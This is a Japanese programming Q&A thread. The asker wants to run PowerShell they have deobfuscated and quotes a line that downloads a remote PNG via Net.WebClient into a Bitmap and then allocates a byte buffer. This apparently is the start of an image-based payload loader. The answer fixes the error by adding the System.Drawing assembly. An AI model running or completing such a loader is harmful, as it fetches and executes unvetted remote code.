質問するログイン新規登録
PowerShell

Windows PowerShellはコマンドラインインターフェースであり、システム管理を含むWindowsタスク自動化のためのスクリプト言語です。

Q&A

解決済

1回答

2328閲覧

PowerShellの正しい記述

essex

総合スコア21

PowerShell

Windows PowerShellはコマンドラインインターフェースであり、システム管理を含むWindowsタスク自動化のためのスクリプト言語です。

0グッド

0クリップ

投稿2019/07/02 13:46

0

0

難読化されたPowerShellのコードを、難読化を解除して実行したいと考えています。
難読化は一応解除したのですが、複数行あるコードの内、
最初のたった2行を実行できずにつまずいています。
件の2行は以下の通りです。(URLは実際とは異なります)

${g}=New-Object "System.Drawing.Bitmap"((New-Object "Net.WebClient")."OpenRead".Invoke("http://aaa.co.jp/test.png"))
${o}=New-Object "Byte[]" 1000;

PS>${g}=最初の1行
を実行すると、[System.Drawing.Bitmap]が見つからないと言われます。
最後のかっこを1つ消すと、ネストが正しくない気はするもののエラーは出なくなります。

次に
PS>2行まとめて入力すると、
式の終わりの')'が存在しません。
発生場所 行:2 文字:1とエラーが出ます。

どちらも、1行目のカッコの数が原因の様に思えますが、正しい記述が分かりません。
どこがおかしいかお分かりになる方、ご教示下さるとうれしいです。

よろしくお願いします。

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

guest

回答1

0

ベストアンサー

System.Drawing.Bitmap を実装するアセンブリが参照されていないのでしょう。

PowerShell

1Add-Type -AssemblyName System.Drawing.Common

投稿2019/07/02 22:24

Zuishin

総合スコア28675

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

essex

2019/07/03 08:01

Zuishin様、ありがとうございます。ご指摘いただいたとおりでした。 難読化が複数ブロックに分かれており、ブロックごとに難読化を解除していったのですが、 ご指摘いただいたAdd Type ~の記述は、ひとつ前のブロックの最後だったので、 完全に見落としていました。 ありがとうございました。
guest

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.30%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問